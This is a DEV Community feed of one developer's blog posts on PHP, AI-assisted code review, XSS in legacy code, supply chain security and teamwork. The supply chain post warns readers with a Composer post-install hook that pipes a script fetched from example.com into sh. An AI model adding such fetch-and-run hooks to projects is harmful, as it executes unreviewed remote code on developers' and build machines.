DEV Community: István Döbrentei

AI Reviews Your Code. But Who Reviews the AI?

István Döbrentei — Thu, 16 Apr 2026 18:16:09 +0000

We are starting to trust AI with one of the most important parts of software development: code review.

At first, this feels like a natural step. AI writes code, so it can also review it. It is faster, it removes bottlenecks, and it feels consistent.

But there is a deeper change happening.

Code review is not only about finding bugs. It is also about understanding intent, checking assumptions, and taking responsibility for what we ship to production.

When AI joins this process, it does not just add another reviewer. It changes how developers think about code quality.

Not because AI is always wrong, but because it sounds right even when it is not.

This leads to a simple but important question:

Are we still reviewing code, or are we just trusting that it has already been reviewed?

A Concrete Example: Review at the Point of Commit

Tools like git-lrc are a good example of this change.

Instead of waiting for pull requests, they run code review at commit time. Every change is checked automatically before it even enters the repository.

In theory, this is very useful.

AI review becomes fast, continuous, and always available. It fits modern workflows with small commits and fast changes.

But this also makes the question more important.

If review happens earlier and more often, what exactly is being reviewed?

Moving review closer to the commit does not automatically make it better.

It only makes it easier to trust.

The Nature of AI Review

AI code review does not usually fail in obvious ways. It does not produce random or useless feedback. Most of the time, it finds real issues like style problems, edge cases, or refactoring suggestions.

This is what makes it useful—and also risky.

The problem is not if the suggestions are correct.

The problem is that they are correct only in a limited context.

AI does not know the full history of the code. It does not know business rules or past decisions. It only sees the current code, not the reasons behind it.

A suggestion can be technically correct, but still wrong for the system.

For example, removing a “redundant” check might break a rare case in production. Simplifying logic might remove an important rule that is not obvious in the code.

Each change may look like an improvement on its own.

But together, they can slowly change the design of the system.

AI focuses on local correctness. Real systems need contextual correctness.

And code review exists to protect that context.

The Hidden Shift

The effect of AI is not only in what it suggests, but also in how developers react.

When feedback is usually good, we start to trust it. Not on purpose, but in practice.

We accept suggestions faster. We question them less. Review becomes something we read, not something we do.

This is where we start relying on automation without thinking.

When something looks reviewed, we assume it is correct.

Over time, this can lead to a simple problem:

more code is reviewed, but less code is truly understood.

And in software, understanding is what matters most.

Responsibility Does Not Disappear

AI does not remove responsibility. It changes how responsibility feels.

With AI in the review process, there is a quiet shift:

from thinking about code to accepting suggestions
from understanding decisions to trusting outputs

This does not happen because developers stop caring. It happens because the system pushes in that direction.

This is the real risk.

Not wrong suggestions, but the slow loss of critical thinking.

The Question That Remains

So the question is not if AI can review code.

The question is if we are still fully doing code review ourselves, or if we are slowly giving that responsibility away without noticing.

Because when something goes wrong, the answer will not be:

“the AI approved it.”

It will still be:

Who understood the code well enough to take responsibility for it?

Fixing XSS in Legacy PHP: Passing the Audit vs Solving the Problem

István Döbrentei — Sun, 29 Mar 2026 08:12:18 +0000

The Challenges of legacy systems

Legacy systems are not vulnerable by accident — they become vulnerable as a result of continuous evolution. The decisions made over time, often under pressure to deliver, gradually shape them into what they are today. These systems are rarely insecure because of a single flawed implementation. The root cause is almost always systemic. XSS is not a bug, it is a symptom of missing design decisions.

A common characteristic of legacy systems is inconsistency. There is no unified approach to validation or output escaping. Instead, similar problems are solved in slightly different ways across the codebase. Over the years, multiple developers have worked on the system, each bringing their own practices and constraints. Most of the time, the goal was to deliver something that works — even if it was only a short-term solution. At a system level, everyone is aware that these are compromises.

This is exactly the kind of environment where XSS vulnerabilities thrive.

The presence of significant technical debt reinforces this problem. As long as the system appears to work, it is rarely revisited. Internally, however, it often relies on outdated patterns, poorly defined responsibilities, and a lack of security considerations at every level.

The situation is further complicated by missing documentation, implicit knowledge, and a high likelihood of human error. In many cases, input validation and output encoding are either not clearly separated — or missing entirely. This creates hidden risks throughout the system.

Over time, these issues accumulate into what can only be described as a collection of time bombs — latent vulnerabilities waiting to surface.

I believe that any well-trained developer can fix an XSS vulnerability in a given application — I have no doubt about that. The task itself can be completed.

What I do question, however, is whether in a legacy system — due to the systemic issues described earlier — new vulnerabilities will continue to emerge over time.

Does passing a security audit truly mean that a system is secure?

Passing a security audit is similar to having a fully green test suite: it confirms that known conditions are met, but it does not guarantee the absence of deeper issues. Passing the audit fixes the present. Architecture defines the future.

Why a Modern Template Engine Doesn’t Automatically Prevent XSS

Primarily, XSS does not occur simply because escaping is missing — it happens because data is handled in the wrong place or at the wrong time. It is not purely a technological problem; it stems from when and how output is processed.

Many modern template engines, such as Blade or Twig, apply escaping automatically by default. However, this protection is limited to certain contexts. It is also very common for developers to deliberately disable escaping, either because the framework allows it or because they need to render “raw” output — in which case the protection is effectively bypassed. Misusing the context can lead to the same result.

Another challenge arises when a new template engine is introduced on top of a legacy system. Inconsistent practices and outdated structures underneath can create gaps that the engine alone cannot address.

A template engine can enforce safer defaults, but it cannot enforce correct thinking.

Making Blade Templates XSS-Safe: Practical Advice

It is possible to make Blade templates XSS proof, but this does not happen automatically. While Blade provides automatic escaping for standard HTML contexts, true protection requires:

Developer knowledge: understanding which contexts need escaping (HTML, JavaScript, Url, attributes)
Custom directives: creating Blade directives or helpers that consistently apply the right escaping strategy for each context.
Discipline and review: consciously avoiding {{!! !!}} unless the content is fully sanitized and mainatining consistency across the codebase.

Blade give you the tools, but it cannot enforce safe usage on its own. Security still depends on decisions and careful practices throughout the development process.

The Role of AI

Fundamentally, AI does not solve XSS vulnerabilities in legacy systems — it helps make them visible. AI-based tools are increasingly being integrated into development workflows, and at first glance, they promise a solution for security issues, including XSS.

One of the most attractive aspects of AI tools is their ability to quickly scan large codebases and identify known patterns of vulnerabilities. They can detect recurring issues and even suggest potential fixes, which can significantly speed up the discovery and partial remediation of problems.

However, it is crucial to understand their limitations. AI does not comprehend the full system context, nor does it understand the architectural decisions that are often the root cause of vulnerabilities. As mentioned earlier, XSS is rarely caused by a single bug; it is usually the result of inconsistent practices developed over years.

Consequently, AI tools often recommend local fixes — for example, escaping a specific variable or modifying a particular code snippet. While these suggestions are helpful, they do not address the underlying systemic problem. Without a unified strategy for handling output data, vulnerabilities are likely to reappear elsewhere.

AI can help identify vulnerabilities and accelerate fixes, but it operates on patterns — not intent, not architecture. Without a consistent strategy, it risks reinforcing the same fragmented solutions it is trying to fix.

Closing Thoughts

In practice, the decision is rarely black and white. Time pressure, business expectations, and existing constraints often favor quick fixes over deeper changes. Yet every shortcut carries a cost, one that is often paid later with interest.

What do you think is trully more cost-effective in the long run: applying patches or investing in architectural change?

Stop forgetting architectural decisions: make them executable

István Döbrentei — Wed, 11 Feb 2026 19:12:40 +0000

Most software projects don't fail because developers can't write code. They fail because decisions get lost.

Months or years later, the code still runs, tests pass, and systems appear healthy—but the reasoning behind key choices has vanished. Why was this library chosen? Why does this service behave this way? Was it a performance optimization, a business constraint, or just a temporary workaround that became permanent?

What survives isn’t code clarity — it’s a set of unwritten rules, remembered only by the people who were there at the beginning. This isn’t just a tooling problem—it’s an institutional memory problem. And when intent disappears, every change becomes riskier, slower, and more expensive.

Teams don't usually break architecture they're careless. They break it because the people who undertsood the original decisions leave, deadlines create constant pressure, documentation becomes outdated, and crucial decisions are buried in chat threads and pull requests rather than recorded formally.

Knowing why something was built is just as important as knowing how it works. Without that knowledge, teams guess—and systems slowly become harder and riskier to maintain.

If decisions are allowed to drift away from the code, they will eventually be forgotten. Architecture Decision Records only work when they are part of the developer's daily workflow, close to the code, visible during reviews, and capable of surfacing when a rule is about to be broken. Otherwise, they become historical documents rather than living constraints. The real challenge then isn't deciding what to document. It's ensuring that architectural decisions are discoverable, reviewable, and enforceable at the moment they matter most when code is being written and changed.

What if architecture could answer questions?

Imagine being able to ask your project: Why is using an ORM forbidden here?

And getting a clear, consistent answer - not from a person who might be on vacation, but from the system itself. That means fewer repeated explanations, smoother onboarding, and less "architectural folklore".

Architecture as executable knowledge

PHPDecide is a CLI tool that treats architectural decisions as:

versioned artifacts in your repository
structured, machine-readable knowledge
explainable constraints
optionally enforceable rules

Each decision captures:

what was decided
why it was decided
where it applies
optionally, how it can be enforced

Who writes decision files (and why some teams resist)

You might wonder: If we can just talk in meetings, why bother writing decision files at all?

In some teams, leaders or senior developers resist because it feels like a loss of control. When knowledge lives only in their heads, they are the gatekeepers.

But relying on meetings and memory creates hidden risks:

knowledge silos and single points of failure
junior developers hesitate to ask
decisions get forgotten or unintentionally violated
reviews become debates about intent instead of implementation

Decision files shift authority from individuals to the team and the repository: transparent, explainable, and shareable.

Your turn

Have you ever seen architecture slowly erode because nobody documented the "Why"?

If you are curious, try the idea in a small, safe way:

Record 3-5 high-signal decisions
Run the lint step in CI
Use explain in reviews for a month

Then measure what changed: fewer repeated questions, faster onboarding, and more consistent reviews.

DevSession CLI

István Döbrentei — Sat, 31 Jan 2026 19:05:29 +0000

This is a submission for the GitHub Copilot CLI Challenge

What I Built

I built DevSession, a lightweight PHP based CLI tool that helps developers track focused development sessions, with context not just time.
As developers we often know how long we worked, but not always what actually accomplished. DevSession solves this with start and end a session and then automatically summarizing:

how long the session lasted
which git commits were made
which files were changed
what the session was about

Everything runs locally, stores data in a simple JSON file, and works entirely from the terminal. No background daemons, no cloud sync and no configuration.
To me this project is about intentional work: consciously stating a session, focusing, and then getting a clear summary of what really happened.

Demo

Project repository:DevSession

Start a session:

Check status:

End session:

View today's work:

View history:

My Experience with GitHub Copilot CLI

I used GitHub Copilot CLI as a terminal native pair programmer throughout the project.

Instead of switching between editor, browser, and documentation, I stayed in the CLI and described what I wanted in natural language. Copilot CLI helped me move faster while keeping full control over architecture and decisions.

Designing the CLI interface

Early on, I used Copilot CLI to explore and refine the command structure, deciding which commands were essential (start, end, status, today, log). Keeping the scope intentionally small.
This helped me avoid overengineering and focus on real productivity value.

Building a PHP CLI architecture

Although PHP isn't the most common choice for CLI tools, I intentionally chose it to demonstrate that clean, framework free CLI applications are absolutely viable in PHP. With Copilot, I bootstrapped the command dispatcher, refined error-handling patterns suitable for CLI usage, iterated on a clean command-based architecture. Copilot accelerated the boilerplate without dictating design decisions.

Git integration

DevSession is git-aware, it enriches sessions with git context when available, but it is not git-dependent — it works just as well outside a git repository. Copilot CLI helped me construct git commands to list commits since a timestamp, retrieve changed files during a session and handle edge cases where git isn't available.

Overall impact

The biggest benefit of GitHub Copilot CLI wasn't just speed, it was focus. I spent less time searching documentation, recalling command syntax and context switching. I had more time to thinkn about behavior and making deliberate design choices. Copilot didn't replace decision making, it amplified it.

Thanks for reading and thanks to the DEV and GitHub teams for the challenge!

Strict Comparison in PHP Explained at the Zend Engine Level

István Döbrentei — Tue, 30 Dec 2025 18:19:50 +0000

While browsing bugs.php.net, I found an interesting ticket. Someone reported a surprising behavior, and I wanted to understand what is happening under the hood—because I think this is a really important concept to understand in PHP internals.

Consider the following script and its output:

<?php

$NaN = sqrt(-1);
$array = [$NaN];

var_dump($array === $array);   // always true
var_dump([$NaN] === [$NaN]);   // always false

At first glance, this looks confusing. Let’s investigate it line by line.

Generating NaN

The first line contains a mathematical expression that is not defined in the real numbers: $NaN = sqrt(-1);

PHP delegates this operation to its internal math implementation in ext/standard/math.c, which ultimately relies on the system’s math library (for example, glibc on Linux, Apple libc on macOS, or musl on Alpine). These libraries follow the IEEE 754 floating-point standard. According to this standard, operations that are mathematically undefined (such as the square root of a negative number) produce NaN (“Not a Number”). Importantly, NaN is never equal to anything, including itself. This is a fundamental rule of IEEE 754 floating-point arithmetic.

Putting NaN into an array

Next, we store this NaN value in an array:

$array = [$NaN];

Comparing the same array

Now we compare the array to itself:

var_dump($array === $array);

In PHP, the === operator performs a strict comparison, meaning:
same type same value Here, both operands refer to the same variable, so the comparison returns true. This is effectively an identity shortcut. Internally, both $array operands point to the same zval.

A short note about zvals

A zval (Zend value) is the fundamental data structure used by the Zend Engine to represent all PHP variables. Every variable in PHP is stored internally as a zval. PHP 7 redesigned the zval structure to be significantly more memory-efficient and faster compared to PHP 5.

A zval is essentially a container that holds:

the value
the type information
flags related to references and garbage collection

PHP uses a copy-on-write (CoW) mechanism for efficiency. Multiple variables can point to the same underlying value without duplicating memory. Only when a modification occurs does PHP create a copy, ensuring changes don’t affect other variables.

Comparing two distinct arrays

Finally, let’s look at this line:

var_dump([$NaN] === [$NaN]);

Here, we are comparing two distinct arrays, even though their contents look identical. To understand why this returns false, let’s briefly follow the relevant internal comparison logic in PHP:

zend_is_identical(op1, op2), (both operands are arrays):

zend_compare_arrays()
zend_compare_symbol_tables()
zend_hash_compare()
hash_zval_identical_function()
zend_is_identical(v1, v2)

During this process, PHP compares each element of the arrays using strict identity comparison. Eventually, the comparison reaches the array elements themselves: NaN === NaN
According to the IEEE 754 standard, NaN is never equal to itself, so this comparison returns false. Because the first (and only) elements of the arrays are not identical, the entire array comparison fails.

Conclusion

This behavior is not a bug in PHP, but a direct consequence of how floating-point numbers and strict comparisons are defined and implemented.

This example highlights why understanding PHP internals—such as zvals, copy-on-write, and strict comparison semantics—is crucial when working with edge cases involving floating-point numbers. What may initially look like inconsistent behavior is actually a predictable and well-defined result of PHP’s internal design.

Supply Chain Security in PHP Projects

István Döbrentei — Wed, 24 Dec 2025 16:53:59 +0000

Security has always been an evergreen topic. Protecting your environment, reputation, and company assets from financial and reputational damage is critical. For today’s developers, it is no longer enough to know language syntax, design principles, or how to write clean and maintainable code. Even application-level security knowledge — SQL injection, XSS, CSRF, authentication, and authorization — is no longer sufficient on its own. The modern threat landscape has shifted.

Continuous learning is part of our profession, especially in security. New attack vectors and techniques emerge constantly, and keeping up with them is no longer optional. In large enterprise organizations, dedicated security teams exist, but that does not remove responsibility from individual engineers.

In this article, I would like to highlight software supply chain security from a PHP developer’s perspective.

What Is the Software Supply Chain in PHP?

In a typical PHP application, the software supply chain includes:

Your application source code
Composer and all installed packages
Package repositories (public or private Composer repositories)
Build tools and scripts
CI/CD pipelines
Runtime environment (PHP version, extensions, Docker images)
External services (databases, APIs, cloud providers)

This immediately raises important questions:

Where is the boundary of the system?
Who is responsible for securing it?

Is it the developer, the DevOps engineer, the infrastructure team, or the security department?

The answer is: there is no single boundary and no single owner.

Modern systems are layered, and each layer has its own security boundary. Supply chain security deliberately extends beyond your codebase. The system boundary ends where you lose visibility or control — but responsibility does not end there.
Supply chain security is shared, but not equally shared. Different roles own different layers.

Developer Responsibility (Application Layer)

Developers are primarily responsible for what gets written, imported, and executed.

This includes:

Choosing dependencies
Reviewing Composer packages
Maintaining composer.lock
Avoiding dangerous Composer scripts
Updating vulnerable libraries
Writing secure-by-default code

Developers cannot delegate responsibility by saying “I didn’t know the dependency was insecure” or “the security team will catch it later.” Developers are the first line of defense in the software supply chain.

Locking Dependencies Correctly

The composer.lock file ensures that exactly the same dependency versions are installed everywhere. See the following command:

composer install --no-dev --prefer-dist --no-interaction

This command installs PHP dependencies exactly as defined in composer.lock, with settings optimized for non-interactive, production-like environments. The first option means it skips the development dependencies. The deployment artifact will smaller and it reduces the attack surface as well. Prefer dist means download package archives instead of cloning git repositories. The installation will be smaller and faster and no git required. No interaction ensures deterministic behavior and it is required for CI/CD pipelines. Never run composer update in production.

Avoiding Unsafe Dependency Versions

Floating or development versions dramatically increase risk because floating versions make malicious dependency injection and accidental breaking changes far more likely.

Unsafe Example:

 {
  "require": {
    "monolog/monolog": "*",
    "vendor/package": "dev-main"
  }
 }

Reviewing and Restricting Composer Scripts

Risky example:

{
  "scripts": {
    "post-install-cmd": [
      "curl https://example.com/install.sh | sh"
    ]
  }
}

In CI pipelines, scripts should be disabled by default:

composer install --no-scripts

Enable scripts only when you fully understand and trust what they do.

DevOps / Platform Responsibility (Pipeline Layer)

DevOps and platform engineers own how code becomes a running system:

CI/CD pipeline security
Secrets management
Artifact integrity
Build isolation
Environment isolation
Deployment permissions

Infrastructure Responsibility (Runtime Layer)

Infrastructure engineers are responsible for where and how the system runs:

OS hardening
Container runtime security
Network segmentation
Identity and Access Management /Role Based Access Control
Patch management
Base images and VM templates

Security Team Responsibility (Governance Layer)

Security teams provide visibility, guidance, and assurance:

Security standards and policies
Risk assessment
Tooling guidance
Incident response
Compliance and audits
Threat modelling

What Are Supply Chain Attacks?

A supply chain attack occurs when an attacker compromises a trusted component that your application depends on, instead of attacking your code directly.

Supply chain attacks often succeed precisely because responsibility is fragmented. There is no single border and no single owner.

Common examples:

Malicious dependency injection
Typosquatting attacks
Dependency confusion attacks
Malicious Composer scripts
Compromised build pipelines
Build artifact tampering
Outdated or abandoned components

Final Conclusion

Modern PHP applications are assembled, not written from scratch. Every Composer dependency, build script, CI job, container image and external service becomes part of the system's attack surface.

Supply chain security is not about eliminating all risk, it is about making risk visible, controllable, and survivable.

PHP developers who understand and apply these principles are not just writing secure code, they are building software that can be trusted in an increasingly adversarial and risk exposed ecosystem.

More Than Skills: The Human Traits That Build Great Teams

István Döbrentei — Sat, 08 Nov 2025 09:53:04 +0000

In my previous article, “Beyond the Code: Staying Ahead in an AI-Assisted Developer World,” I wrote about how human collaboration is one of the most important qualities needed to remain competent and prepared in our AI-driven world. Beyond technical skills, I wanted to highlight the human side of development.

In today’s globalized world, it’s no longer unusual to collaborate with people on the other side of the planet — something that became even more natural after the pandemic. I also explored this theme in my article titled “Why Problem-Solving in IT Is About People, Not Just Code,” where I emphasized that being a good team player is essential, both in work and in life.

Now, I’d like to summarize what Patrick Lencioni says in one of his [“unconference” videos] about the ideal team player, because collaboration isn’t just a workplace skill — it’s a life skill. I believe his ideas are highly relevant to anyone who wants to work and live successfully as part of a team.

The Three Key Attributes

Patrick Lencioni defines three attributes that are essential for effective collaboration — not only in software development, but in life in general: Humble, Hungry, and Smart.

1. Humble

Being humble means putting the team’s success above your own ego. A humble person is open to feedback and new ideas, no matter where they come from. They do the right thing because it benefits the team, not because it brings them attention. In short, humility is confidence without arrogance. Lencioni says that humility is the single greatest and most indispensable attribute of being a team player.

2. Hungry

The “hungry” person takes ownership and doesn’t wait to be told what to do. They naturally look for what needs to be done and go the extra mile — not because someone is watching, but because they care about the result. They are curious, constantly learning, and eager to improve themselves and the team. They’re not satisfied with “good enough” and are always looking for better ways to contribute. In a team, a hungry person is that reliable teammate who keeps things moving and motivates others through action and enthusiasm.

3. Smart

When Lencioni says “smart,” he doesn’t mean intellectually or technically brilliant — he means people smart. A smart person understands how their behavior affects others. They notice moods, reactions, and communication styles. They know when to speak up, when to listen, and how to make others feel valued. This is all about emotional intelligence and interpersonal skills — being aware, considerate, and tactful in relationships.

The Combinations of Traits

These three attributes together form the foundation of the ideal team player, but few of us possess all three in equal measure. The key is self-awareness: recognizing what we lack and being willing to grow.
If you’re a leader or decision-maker, understanding these traits also helps identify who will strengthen or weaken your team. Lencioni illustrates this by describing several personality types that lack one or more of these key virtues.

The Pawn

The Pawn has only one trait: humility. They’re kind, modest, and selfless — easy to get along with — but they lack drive and people smarts. While pleasant, they often contribute little to the team’s overall productivity. Humility is essential, but it must be combined with energy and social awareness to create true value.

The Bulldozer

The Bulldozer is only hungry. They’re driven, ambitious, and results-oriented, but they lack humility and people skills. They push hard to get things done but often run over others in the process.
While they might produce short-term results, they damage trust, morale, and teamwork over time — creating a culture of competition rather than collaboration.

The Charmer

The Charmer is only smart — great with people and entertaining to be around, but not humble or hardworking. They care more about their image than the team’s success and don’t get much done. While likeable, they’re unreliable and can drain a team’s momentum.

Mixed Types

Most people aren’t defined by just one trait. Here’s what happens when two of the three are present:

The Accidental Mess-Maker

Humble and hungry, but not people smart. This person means well and works hard, but their lack of social awareness often leads to misunderstandings and friction. They create problems unintentionally.

The Lovable Slacker

Humble and smart, but not hungry. Everyone likes them — they’re kind and emotionally intelligent — but they lack ambition. They do the bare minimum, avoid extra work, and rely on others to pick up the slack. They’re not harmful, but their lack of drive slowly weakens the team.

The Skillful Politician

Hungry and smart, but not humble — the most dangerous combination, according to Lencioni. These people are ambitious, engaged, and often appear highly valuable at first. But their charm and apparent productivity hide self-centered motives. Over time, they undermine trust and teamwork, pursuing personal advancement at the expense of the group.

Growth and Reflection

Thinking in terms of these three key virtues is powerful because they are not fixed traits — they can be developed. Through self-awareness, feedback, and practice, anyone can become a more complete team player.

Final Thoughts

No one is perfect. Nobody embodies all three virtues all the time. But if we recognize our weaknesses, stay open to feedback, and commit to growth, both individuals and teams will improve — and the results will benefit everyone.
Lencioni says that if individuals, teams, and organizations lived by Humble, Hungry, and Smart (HHS), the world would be a better place.
I truly believe that. And I believe most people can achieve it — if they really want to.

What do you think?

Why Problem-Solving in IT Is About People, Not Just Code

István Döbrentei — Wed, 10 Sep 2025 05:45:04 +0000

In IT, we often think the best problem-solvers are those who can write flawless code or debug complex systems in minutes. However, research and real-world experience tell a different story: the most successful teams thrive not because of technical brilliance alone, but because of trust, communication, and collaboration. Psychological safety is now a stronger predictor of project success than coding skills alone.

What is Psychological Safety?

Psychological safety is the belief that you can speak up, share ideas, ask questions, or admit mistakes without fear of negative consequences, such as blame or punishment. It’s about trust, not just comfort. Team members don’t always have to agree or feel comfortable with everything—they just need to feel safe taking interpersonal risks. Mistakes are treated as learning opportunities rather than reasons for punishment. Open communication encourages knowledge sharing, helping teams solve problems collectively rather than leaving individuals to struggle in silence.

Why It Matters in Real Life

Imagine a developer spots a potential bug in a colleague’s code. In a psychologically safe team, they can point it out respectfully, discuss solutions, and no one feels blamed. In a team without psychological safety, the same developer might stay silent, letting the bug slip into production. The difference can determine the success—or failure—of a project.

The Role of Life Outside Work

Engaging in group activities, outdoor adventures, or creative hobbies often builds soft skills faster than formal training. These experiences develop empathy, resilience, adaptability, and communication skills that directly influence collaboration at work. Team sports and group challenges teach coordination and adaptability, while outdoor adventures strengthen problem-solving under pressure. Creative pursuits or volunteering enhance empathy and communication. In short, how we spend our time outside work shapes how we perform inside it.

Closing Thoughts

Strong technical skills are important; they form the backbone of any project, but what truly sets successful teams apart is the human side: empathy, communication, trust, and the courage to share ideas openly.

Even if you're not the fastest coder in the room or don't hold a PhD, you can still be an invaluable teammate. Your ability to collaborate, listen, and contribute to a safe and supportive environment can make the difference between a struggling project and a thriving one.

The real challenge isn't just writing code, it's becoming better, together. By focusing on growing not only your technical knowledge but also your human skills, you'll always bring value to your team.

Who is a senior developer?

István Döbrentei — Sun, 31 Aug 2025 17:46:25 +0000

I first came across these ideas in a Hungarian presentation, and they really made me think. In this article, I’d like to share my own interpretation and what it means to me, because I believe it’s relevant and could be useful for others as well.

Seniority is not just a title. It doesn’t simply reflect the number of years of development experience; it’s about a much deeper understanding. It doesn’t come from college or university, and it’s not something you earn with a degree. Seniority is a mindset—and much more.

Misconceptions About Senior Developers

There are many misconceptions about what it really means to be a senior developer. One common belief is that a senior developer “knows everything.” But the truth is quite different.

A senior developer doesn’t know everything — and they know that better than anyone else. They understand when to ask questions and who to ask. They don’t rush into coding right away; they think first. Instead of writing hundreds of lines of code, they write just a few lines that are truly necessary.

They don’t ask, “Does it work?” but rather, “Is it stable? Is it clean? Is it testable?” Working code is expected, but it’s not the final goal. They know when not to rewrite something, because stability is often more important than chasing the newest language or framework.

They document their work for the benefit of the team. In code reviews, they don’t criticize — they help others improve. They value communication because they know that poor communication leads to poor products.

A senior developer also knows that sometimes a quick release is better than waiting for a perfect architecture. They think independently of specific languages and technologies. They collaborate, solve problems as a team, and support their colleagues. Bugs are not disasters — but failing to learn from them is.

They know when to say no. They think in terms of CI/CD, staging, and production environments. They are mentors, but also sources of inspiration. Others follow them, not because of their title, but because of their actions and character.

They understand that technology is just a tool — the real goal is delivering business value. They can recognize scope creep and prevent it. They aren’t afraid to delete code, because fewer lines mean fewer mistakes.

They ask not only “What?” but also “Why?” They clarify business logic before writing a single line of code. If something is hard to understand, they simplify it, because complexity today is a bug tomorrow.

They write tests because they know that a production bug without tests will ultimately reflect on them. They are not afraid to ask the product owner for clarification, because one misunderstood specification can waste weeks of work.

Senior developers don’t just deliver features — they deliver stability, scalability, and predictability. They understand that the best code is often the least code. They don’t restrict themselves to just frontend or backend; instead, they understand the entire flow, from the API to the user experience. They also recognize that there’s no such thing as perfect code — only code that serves its purpose at the right time.

They show empathy, knowing that someone else will read their code in the future. They accept mistakes but also take responsibility for them. They know that titles mean little compared to the impact they create — and the fact that the team performs better because of their presence.

A Personal Note

I’m not a senior developer yet, but one day I hope to become one — and not just any senior, but the best I can possibly be. This guideline is a reminder for me to focus not only on specific skills, but on the whole mindset.

If you’re in the same shoes, I wish you all the best on this journey too. The journey to seniority is long, but every line of code, every question asked, and every lesson learned brings us closer.

Primum nil nocere in PHP: First, Do No Harm

István Döbrentei — Sun, 17 Aug 2025 09:37:29 +0000

Doctors have a saying: primum nil nocere — “first, do no harm.” I first heard it in a medical context, but it stuck with me. Could the same principle apply to programming? Absolutely — especially when working with legacy code.

If you work on legacy applications, you quickly learn one truth: every change can have unexpected side effects. The architecture is rigid, the design outdated, and the smallest tweak might break something miles away in the codebase. Still, we all want to make things better today than they were yesterday.

That’s why I wrote a pre-commit Git hook to apply the do no harm principle to my daily development. The idea is simple:

The whole codebase is under Git.
Every commit should meet the current coding standard (PSR-12 in my case).
Running PHP_CodeSniffer on the entire legacy project is slow and noisy.
So instead, I only check the lines I’ve actually changed.

If my changes violate the standard, the commit fails until I fix them. Over time, this improves the codebase without drowning me in thousands of old warnings.

Sometimes, I can’t fix a file immediately because of other existing violations. In that case, the hook can just warn instead of blocking the commit, letting me decide what to do. You can also extend the script with your own rules — the setup is entirely yours.

Each time you commit, you’re leaving the codebase a little cleaner, a little better. It’s like a doctor treating a patient: you’re not curing every illness at once, but you’re making sure you don’t make things worse.

The script is in my repository — take it, use it, adapt it. And remember: even in PHP, first, do no harm.

From Prompts to Plays: Using Language Models as Game AI in PHP

István Döbrentei — Sat, 05 Jul 2025 13:59:35 +0000

OXO, or Tic-tac-toe, is a classic game often played by young children and is known for its simple rules. It involves two players who take turns marking either an X or an O on a 3×3 grid. The first player to align three of their marks horizontally, vertically, or diagonally wins the game.

I developed a web-based version of Tic-tac-toe using PHP on my personal computer. This version features an AI opponent and leverages language models to determine winning strategies against human players. Let’s take a closer look at how the application works.

I created this application for educational purposes and experimentation. I didn’t use any frameworks on either the backend or the frontend. My goal was to build an application from scratch to better understand the underlying details. It’s not production-ready. I developed it simply to explore possible solutions and approaches. I’m aware that there are many other ways to implement this game, but I wanted to experiment and try my own approach.

On the backend, I used PHP 8.3 in a Docker containerized environment. The game board is managed server-side, and player moves are stored using session storage. On the frontend, I visualized the data using ECMAScript 6 (ES6) JavaScript classes along with HTML and CSS. When the player clicks on a cell, a request is sent to the backend, where the game board is updated, the move is recorded, and an AI assistant is called to select the next move.

The AI uses an LLM (Large Language Model) to evaluate the game state and make decisions. Backend classes are designed to be switchable, PSR-compliant, and follow the separation of concerns principle. I’ve written unit test cases for the backend as well as tests for the frontend.

You can refer to the UML class diagrams to better understand the application's architecture. For the AI model, I used openrouter.ai as the provider and selected a freely available model: deepseek/deepseek-chat-v3-0324. However, the application is flexible and allows other models to be selected via an environment variable.

This project builds on a previous custom application I developed. It's a pet project, created out of curiosity, to explore how PHP can be integrated with LLM-based applications.

Conclusion

The application works well, and I can play Tic Tac Toe with any LLM (Large Language Model). However, the performance depends on how the model was trained. While an LLM can respond with suggestions and simulate moves, its gameplay is often suboptimal because it relies on statistical language patterns rather than true strategic reasoning. As a result, it may fail to play optimally in abstract positions and seems unable to think ahead by simulating future game states — a better model is needed for that.

Eventually, I created a prompt that described the problem and asked the LLM to suggest a solution and help implement it. This led to the development of a more robust solution using the Minimax algorithm. If the API URL isn’t set in the .env file, the application defaults to using the Minimax-based AI Assistant — which is nearly unbeatable.

Overall, this was an interesting journey. I believe the true power of LLMs lies in their ability to understand complex problems — if your prompt is good enough — and to help suggest and implement working solutions.

Building a PSR-Compliant Microservice in Pure PHP - part 2

István Döbrentei — Sun, 15 Jun 2025 08:18:55 +0000

The first step is to understand the classes and their responsibilities. The project is publicly available on GitHub at the following URL: https://github.com/distvan/php-microservice. In the repository’s doc folder, you'll find a UML class diagram that illustrates the classes, interfaces, and their relationships. This diagram helps visualize the overall structure of the application. Each class is a self-contained unit, adhering to the Separation of Concerns principle. Furthermore, since each class has a single reason to change, the design also complies with the Single Responsibility Principle. The application accepts an HTTP POST form request at the /watermark endpoint, with an image parameter containing the URL of an image. It downloads the specified image, applies a watermark, and returns the watermarked image as a binary response.

Let’s take a closer look.

The entry point of the application is the index.php file located in the public folder, which serves as a bootstrap. It uses a class loader (autoload.php) based on the PSR-4 standard and relies on Composer for package management. You can review the package dependencies in the composer.json file.

Environment-specific settings, such as logging configuration and the base watermark image name, are stored in a .env file. To access these variables, the application uses an existing package that handles environment variable loading.

The Dependency Injection (DI) container is responsible for resolving class dependencies and managing inversion of control. Its primary goal is to make the application more maintainable and testable. For a deeper dive into the topic, refer to my latest blog post about containers.

The DI container in this project is implemented as a separate, modular component that can be easily attached to the application. I intentionally kept it minimal and straightforward, so it can be replaced with any other container that implements the same standard interface.

The Router class is responsible for registering, storing, and managing route definitions. It matches incoming HTTP requests to the appropriate Route based on the HTTP method and URI path, effectively mapping each request to the corresponding controller and action.

The Dispatcher class handles the incoming request by using the Router to find a matching route. It then invokes the route's handler and returns the resulting response.

The RoutesConfigurator class is separated according to the Single Responsibility Principle. Its sole purpose is to define and register routes in a centralized and maintainable way.

The WatermarkController class is responsible for handling incoming requests. It performs tasks such as extracting data from the request, delegating processing to services, and formatting the response. The controller serves as the gateway between the external world and the internal logic of the microservice.

Its typical responsibilities include:

Receiving the request
Extracting relevant data
Validating the data (or delegating validation)
Passing clean data to the service layer
Returning the formatted response

In the controller class, I used constructor injection to provide its dependencies. To handle service instantiation, I implemented the factory pattern. This ensures that the creation logic is centralized in a single place, promoting consistency, testability, and separation of concerns.

This article demonstrated a simple yet effective implementation of a microservice in PHP, focusing on clean architecture principles such as Separation of Concerns, Single Responsibility, and Dependency Injection. By organizing the application into modular components—like the router, dispatcher, controller, and service layers—we achieved a design that is both maintainable and extensible.